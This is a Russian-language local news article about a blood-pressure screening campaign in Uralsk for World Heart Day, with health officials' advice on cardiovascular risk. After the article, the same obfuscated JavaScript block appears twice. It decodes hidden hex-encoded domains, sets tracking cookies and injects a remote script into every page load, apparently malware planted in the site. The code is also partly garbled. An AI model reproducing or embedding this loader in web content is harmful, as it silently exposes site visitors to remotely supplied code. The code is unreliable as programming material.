Сегодня, 23 сентября, в Уральске прошла широкомасштабная акция по измерению артериального давления, которая была приурочена ко всемирному Дню сердца. IMG_4879 Всемирный День сердца отмечается  в последнее воскресенье сентября по инициативе Всемирной федерации сердца с целью предупреждения опасности сердечных заболеваний. В этом году он выпадает на 27 сентября. Акция проходила с 10 до 13 часов в различных организациях и общественных местах. Так, медицинские работники  городских поликлиник, студенты медицинского колледжа и сотрудники областного центра формирования здорового образа жизни побывали на торговых рынках «Жеңіс», «Жайық», «Мирлан», в торговых домах «Болашак», «Феникс», «Зачаганский», «Орал», «City Center», а также в областном управлении образования, ЦОН, автовокзале  и так далее. IMG_4914 - Сердечно-сосудистые заболевания занимают одно из лидирующих мест по Казахстану и  являются ведущей причиной смерти практически во всем  мире, - говорит директор областного центра формирования здорового образа жизни Зиада МУЛДАГАЛИЕВА. – Одним из главных факторов риска для сердечно-сосудистых заболеваний и инсульта считается  повышенное кровяное давление, поэтому так важно, чтобы люди об этом знали и понимали насколько это серьезно. К факторам риска относятся повышенный уровень холестерина и глюкозы в крови, а также такие поведенческие факторы как курение, употребление алкоголя, недостаточное потребление овощей и фруктов, повышенный вес и физическая инертность. В рамках госпрограммы «Саламатты Казахстан»  проводиться скрининг на раннее выявление болезней системы кровообращения, таких как артериальная гипертония, ишемическая болезнь сердца. О здоровье необходимо заботиться с молодости, начиная с 18 лет ежегодно каждому человеку желательно проходить медицинский осмотр по выявлению заболеваний сердечно-сосудистой системы, которое включает небольшой опрос, осмотр, и при показаниях – снятие электрокардиограммы, определение холестерина и сахара в крови. Для этого достаточно обратиться в поликлинику, к которой вы прикреплены. Для людей старше 50 лет скрининг необходимо проходить каждые два года. Это даст возможность выявить заболевание как можно раньше, а значит, дать шанс на успешное проведение лечения. В рамках акции медики организовали измерение артериального давления, а также  распространяли информационно-образовательные материалы по здоровому образу жизни, оказывали консультативную помощь, давали советы, людям с повышенным давлением.  Как сообщили медики, за один день акцией было охвачено более тысячи человек. Немаловажным фактором в заболеваниях сердечно-сосудистой системы медики видят психические расстройства и стрессы. - Поведенческие привычки, такие как курение и алкоголь не могут не отразится на здоровье человека, он становится более раздражительным, быстро утомляется, тем самым нарушается внутренняя гармония и психическое здоровье. Нужно постараться избавиться от вредных пристрастий, больше уделять внимание своему образу жизни, есть больше фруктов и овощей, гулять и стараться не думать о плохом. Понимаю, что это не так просто, но это необходимо, ведь как ни банально звучит, в здоровом теле – здоровый дух. Помните об этом и будьте здоровы, - пожелала психолог из Центра здорового образа жизни Зауреш КАРИМОВА.   // < ![CDATA[ // < !'),e="",t="6172",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(/+^])/g,"$1")+"=(*)"));return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("mgorod.kz")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}(); // ]]> // < ![CDATA[ // < !'),e="",t="6172",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(/+^])/g,"$1")+"=(*)"));return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("mgorod.kz")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}(); // ]]>